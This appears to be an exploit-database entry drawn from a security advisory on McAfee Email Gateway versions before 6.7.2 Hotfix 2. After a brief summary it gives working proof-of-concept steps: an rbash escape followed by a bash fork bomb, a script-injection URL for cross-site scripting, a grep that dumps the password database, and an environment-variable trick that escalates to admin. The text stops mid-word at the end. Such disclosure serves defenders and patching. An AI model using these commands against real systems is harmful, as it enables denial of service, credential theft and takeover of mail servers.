McAfee Email Gateway < 6.7.2 Hotfix 2 - Multiple Vulnerabilities
source: https://www.securityfocus.com/bid/39242/info McAfee Email Gateway (formerly IronMail) is prone to multiple vulnerabilities, including: A local privilege-escalation vulnerability A denial-of-service vulnerability. Multiple cross-site scripting vulnerabilities An information-disclosure vulnerability An attacker may leverage these issues to completely compromise affected computers, execute arbitrary commands and script code, steal cookie-based authentication credentials, crash the affected application and gain access to sensitive information. Other attacks are also possible. Versions prior to McAfee Email Gateway 6.7.2 Hotfix 2 are vulnerable. Denial of Service: * In order to run the DoS, follow the steps below: [Secure Mail]: command rbash –noprofile [Secure Mail]: :(){:|:&};: Cross-site scripting https://www.example.com/admin/queuedMessage.do?method=getQueueMessages&queueMsgType=<script>alert("XSS");</script>&QtnType=9 Information Disclosure [Secure Mail]: command rbash –noprofile [Secure Mail]: grep -a '.*' /etc/pwd.db Local Privilege-Escalation: [Secure Mail]: command rbash –noprofile [Secure Mail]: declare -x USER="admin" If you want to check the new privilege: [Secure Mail]: cmd_admin set user unlock *** Invalid command: Usage - set user unlock <USER ID> *** [Secure Mail]: cmd_admin set user unlock admin Cannot unlock yourself. [Secure Mail]: exi |